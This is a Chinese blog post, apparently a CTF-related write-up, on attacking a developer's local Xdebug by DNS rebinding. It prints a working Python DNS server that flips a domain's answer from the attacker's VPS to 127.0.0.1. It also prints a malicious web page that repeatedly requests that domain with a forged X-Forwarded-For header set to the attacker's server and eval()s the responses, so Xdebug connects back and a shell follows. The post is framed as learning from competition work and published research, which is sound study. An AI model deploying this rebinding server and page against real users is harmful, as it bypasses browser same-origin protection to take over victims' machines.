Bubbles~blog

用爱发电

xdebug with DNS rebind

感觉最近比赛特别多,也get了很多新姿势,虽然看wp都有些艰难了,因为事情也比较多所以这里也是简单记录一下

我们都知道xdebug是一个调试工具,这样对php进行分布调试的时候会非常方便,以前倒是也简单接触了一下,不过没怎么注意其中的安全问题,最近的N1ctf有道easyphp的题目恰好可以用xdebug来完成,虽然是个非预期解不过也涨了涨姿势,关于这部分内容这里有很详细的说明

Xdebug: A Tiny Attack Surface
简单来说就是利用了xdebug开启的回连配置来getshell,特别是它的回连地址还取自x-forwarded-for请求头,说实话是蛮奇怪的,毕竟这种东西要伪造太容易了

这个漏洞复现起来还是非常容易的,直接在服务器装上xdebug添加到php的配置里即可

当然你也注意到这里主要针对的是服务器上运行的php应用,对于跑在本地的xdebug,因为你无法直接访问到它们,当然也就无法让它们回连到你的服务器,所以我们必须以内网的主机甚至是它自身的主机为跳板来完成攻击

这方面的思路参考这篇玄武实验室的文章
利用恶意页面攻击本地Xdebug

我也是简单地复现一下

先说最主要的部分,即dns rebind的实现,我们来搭建一个简单的dns服务器来针对我们的请求做一个rebind

先在我们的域名下建立一个NS记录,记录值指向我们服务器的dns域名,然后配置这个域名指向我们建立的dns服务器,如下图

然后在服务器上运行dns服务,代码如下,代码是python 2.7环境下的,可能并不支持python3

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1: ip = "your_vps" else: ip = "127.0.0.1" if name not in record: record[name] = 0 record[name] += 1 print name + " ===> " + ip
        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())

这样对于第一次dns查询它将返回你的vps的ip,而之后的查询都会返回本地ip,这种方法对于很多ssrf的绕过都能起到作用

然后我们准备构造一个恶意的页面使得被攻击者访问时会不断地向恶意链接发出请求,我拿jquery简单写了个ajax的实现,也能凑合着用了

<html>
<head>
	<script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.0.js">
</script>
</head>
 
<body>
 
DNS rebinding test
 
</body>
 
<script type="text/javascript">
	function try_back(){
		$(document).ready(function(){
			$.ajax({
				type: "GET",
				timeout:2000,
				url: "http://dns_rebind.bubbles966.cn/p1.php",
				dadaType: "text",
				headers: {
					'X-Forwarded-For': 'your_vps'
				},
				success: function(data) {
					eval(data)
					console.log(window.code)
 
					setTimeout('try_back()',2000)
 
				},
				error: function(err) {
					setTimeout('try_back()',2000)
				}
 
			});
		});
	}
	try_back()
</script>
</html>

将其放置在我们的服务器上,然后我们准备开启测试

其实我们绕了这么个圈子想做的就是绕过浏览器的同源策略,前面的文章也提到了如果我们直接在恶意页面中访问被攻击者的本地服务,就会被CORS所约束,因为我们想要给我们的请求带上x-forwarded-for请求头,而这并不在CORS安全的请求头范围内,所以浏览器会先发出一个preflight request来检查服务器是否允许,这个请求类型是options,因为本地环境基本上不会对这种请求做出回应,所以必须要想办法绕过

我们不妨先尝试一下

可以看到对于这种跨域请求浏览器在一个劲的发送options请求,因为得不到回应所以后面的get请求也就无法发出

现在我们把dns服务器的脚本启动,然后在浏览器访问我们的恶意页面,此时打开控制台,看到我们的请求不停地刷向我们的服务器,说明dns已经解析成功,然后我们只需等待浏览器的dns缓存更改后指向本地ip即可因为host并未改变所以在浏览器看来这些请求并没有跨域,从而绕过了CORS限制

不过想说的就是chrome的缓存时间似乎很梦幻,我是在win10下进行的测试,等了老半天它的dns解析还是没变,扔那跑了半天回来才发现终于解析成功了,看来看间隔时间竟然tm的有十分钟

此时我们再来chrome://net-internals/#dns查看dns缓存,解析地址终于变成了127.0.0.1,真的是不容易

之后就是利用xdebug来回连我们的vps了,这一部分前面师傅的文章已经写得很详细了,就不再赘述了

最近看的东西也还是挺乱的,不过回归web的感觉也还不错,这几天也抽空把比特币的文档看了一遍,感觉区块链这东西确实有点意思,自己搭个私链爽爽也是可以的,后面有时间也可以写写